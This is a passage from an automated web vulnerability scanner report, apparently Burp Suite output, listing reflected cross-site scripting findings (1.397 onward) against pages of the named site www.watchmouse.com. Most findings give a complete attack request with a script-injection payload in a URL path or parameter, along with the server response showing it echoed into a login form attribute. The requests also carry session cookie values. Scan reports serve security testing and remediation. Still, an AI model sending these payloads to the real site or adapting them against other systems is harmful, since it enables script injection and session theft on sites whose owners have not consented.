Content-Length: 30383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/website_monitoring_features.php?8f302"><script>alert(1)</script>0533bc95fdb=1" method="post">
...[SNIP]...

1.397. http://www.watchmouse.com/en/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4bed"><script>alert(1)</script>bd540385b51 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1e4bed"><script>alert(1)</script>bd540385b51 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.5.10.1297252772

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:02:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-bba15ddb1485928b0e2ed1f78935fb0e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 18584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1e4bed"><script>alert(1)</script>bd540385b51" method="post">
...[SNIP]...

1.398. http://www.watchmouse.com/en/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ddd46"><script>alert(1)</script>0d01ced535 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enddd46"><script>alert(1)</script>0d01ced535/ HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-8554a5262131e380356c4537126bf406"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 12965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enddd46"><script>alert(1)</script>0d01ced535/" method="post">
...[SNIP]...

1.399. http://www.watchmouse.com/en/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d071"><script>alert(1)</script>03249d204b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/?3d071"><script>alert(1)</script>03249d204b0=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 11:59:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-55cd5f01c95c28f94b01433ddf670d2b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 17963

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/?3d071"><script>alert(1)</script>03249d204b0=1" method="post">
...[SNIP]...

1.400. http://www.watchmouse.com/en/about.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/about.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5bf3a"><script>alert(1)</script>b4e05ffea6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en5bf3a"><script>alert(1)</script>b4e05ffea6/about.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2de1b838baead941d451f7712423405f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en5bf3a"><script>alert(1)</script>b4e05ffea6/about.php" method="post">
...[SNIP]...

1.401. http://www.watchmouse.com/en/about.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/about.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7666b"><script>alert(1)</script>9ef90d91779 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/about.php7666b"><script>alert(1)</script>9ef90d91779 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e7137a3ab840a3e0251ac2115510deba"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/about.php7666b"><script>alert(1)</script>9ef90d91779" method="post">
...[SNIP]...

1.402. http://www.watchmouse.com/en/about.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/about.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53678"><script>alert(1)</script>acc434f8ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/about.php?53678"><script>alert(1)</script>acc434f8ec=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5bbd8836fd93c32f613212de15af152a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15083

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/about.php?53678"><script>alert(1)</script>acc434f8ec=1" method="post">
...[SNIP]...

1.403. http://www.watchmouse.com/en/awards.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/awards.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d4da"><script>alert(1)</script>12f28bd53ff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en5d4da"><script>alert(1)</script>12f28bd53ff/awards.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-9caa1a1cacc0e392a60c7accf386dd39"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en5d4da"><script>alert(1)</script>12f28bd53ff/awards.php" method="post">
...[SNIP]...

1.404. http://www.watchmouse.com/en/awards.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/awards.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 274a5"><script>alert(1)</script>1d422000328 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/awards.php274a5"><script>alert(1)</script>1d422000328 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ffdc20efafc92e2e0699b688cca30de0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/awards.php274a5"><script>alert(1)</script>1d422000328" method="post">
...[SNIP]...

1.405. http://www.watchmouse.com/en/awards.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/awards.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9943f"><script>alert(1)</script>4b064af620f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/awards.php?9943f"><script>alert(1)</script>4b064af620f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5da1abc66a03112f1248117e231da5b8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14903

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/awards.php?9943f"><script>alert(1)</script>4b064af620f=1" method="post">
...[SNIP]...

1.406. http://www.watchmouse.com/en/chat.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/chat.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0b7b"><script>alert(1)</script>3befea24e05 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enb0b7b"><script>alert(1)</script>3befea24e05/chat.php HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f92f46d24cd5d6a4dbfaaceeddb9f65e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enb0b7b"><script>alert(1)</script>3befea24e05/chat.php" method="post">
...[SNIP]...

1.407. http://www.watchmouse.com/en/chat.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/chat.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25bf8"><script>alert(1)</script>8beb7a83912 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/chat.php25bf8"><script>alert(1)</script>8beb7a83912 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-00e8fce91f2cb68dcce9f1b6e0858e63"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/chat.php25bf8"><script>alert(1)</script>8beb7a83912" method="post">
...[SNIP]...

1.408. http://www.watchmouse.com/en/checkit.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/checkit.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11bc5"><script>alert(1)</script>0030cd96bc9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en11bc5"><script>alert(1)</script>0030cd96bc9/checkit.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d014d22cc44f7c6df17d734e8e868497"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en11bc5"><script>alert(1)</script>0030cd96bc9/checkit.php" method="post">
...[SNIP]...

1.409. http://www.watchmouse.com/en/checkit.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/checkit.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 230e8"><script>alert(1)</script>4a288135e9d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/checkit.php230e8"><script>alert(1)</script>4a288135e9d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-67efcefa0450e20e44c2f55c3c40a0ec"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/checkit.php230e8"><script>alert(1)</script>4a288135e9d" method="post">
...[SNIP]...

1.410. http://www.watchmouse.com/en/checkit.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/checkit.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72a2a"><script>alert(1)</script>a6122662567 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

